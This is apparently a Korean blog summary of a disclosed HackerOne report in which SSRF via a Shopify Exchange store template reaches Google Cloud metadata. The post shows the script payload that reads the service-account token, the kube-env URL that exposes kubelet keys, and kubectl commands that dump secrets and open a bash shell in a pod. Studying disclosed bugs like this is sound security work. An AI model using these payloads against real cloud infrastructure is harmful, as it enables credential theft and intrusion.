[ SSRF를 통한 서버 인스턴스 ROOT 접근 ]
https://hackerone.com/reports/341876
$25000 = 30015413.52원 = 3001.5만원
취약 환경
1) Server-Side Template Injection을 통한 SSRF 가능
2) 서버 내 kubelet를 이용, SHELL 실행 token 관련 API 관리 미흡
공격 STEP
1.SSRF를 이용하여 https://exchangemarketplace.com/ Google Cloud Metadata 접근
1) Server-Side Template Injection?
서버에 조작된 요청값 전송 시, template에서 user input을 코드로 Injection하여 서버에서 코드가 실행됨
2) SSRF?
서버에 조작된 요청을 하여, 요청 받은 취약한 서버가 내부망에 Request packet을 전송하도록 하는 기술
https://exchangemarketplace.com/ 사이트에서 store 생성 -> password.liquid 템플레이트 수정 후, 아래 내용 추가
<script> window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token"; // iframes don't work here because Google Cloud sets the `X-Frame-Options: SAMEORIGIN` header. </script> |
-> https://exchange.shopify.com/create-a-listing 사이트 이동 후, Exchange app 설치 -> Create Listing page에서 store screenshot 대기 -> Download PNG 그리고 image deiting software를 이용하여 열은 후, JPEG로 변경
결과 : Metadata 접근 가능
결론 : SSRF를 하기위해서, URL parameter 외 다수 input 이용 필요
2.Dumping kube-env
Kubelet private key, certificate 확인 하는 URL : http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json
3.피해 Server Kubelet을 통한 shell 실행
1) Kubelet란 ? (컨테이너(운영체제를 공유하는 Application이나 자체 파일 시스템, CPU, 메모리, 프로세스 공간 존재)를 관리하는 분산시스템 관리 프레임 워크)를 이용하여 shell 실행.(Kubelet 제공 기능 : 롤백, 암호, OAuth token, SSH 키 정보 저장 관리)
2) Shell 실행을 위한 정보 수집
2를 통해 획득한 Kubelet certificate와 Kubelet private key를 이용하여 접근 가능 node 확인
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get pods --all-namespaces |
주어진 pod를 통한 정보 확인
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://███ describe pods/█████ -n █████████ |
secret 자원을 통해 인스턴스에서 이용하는 kubernetes.io 서비스 계정 토큰 누출 가능
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get secret███████ -n ███████ -o yaml |
shell 실행 command
$ kubectl --certificate-authority ca.crt --server https://████ --token "█████.██████.███" exec -it w█████████ -- /bin/bash |
'HACKING_NEWS > HACKERONE' 카테고리의 다른 글
HACKERONE#2 jenkins 2 AWS (0) | 2020.09.05 |
---|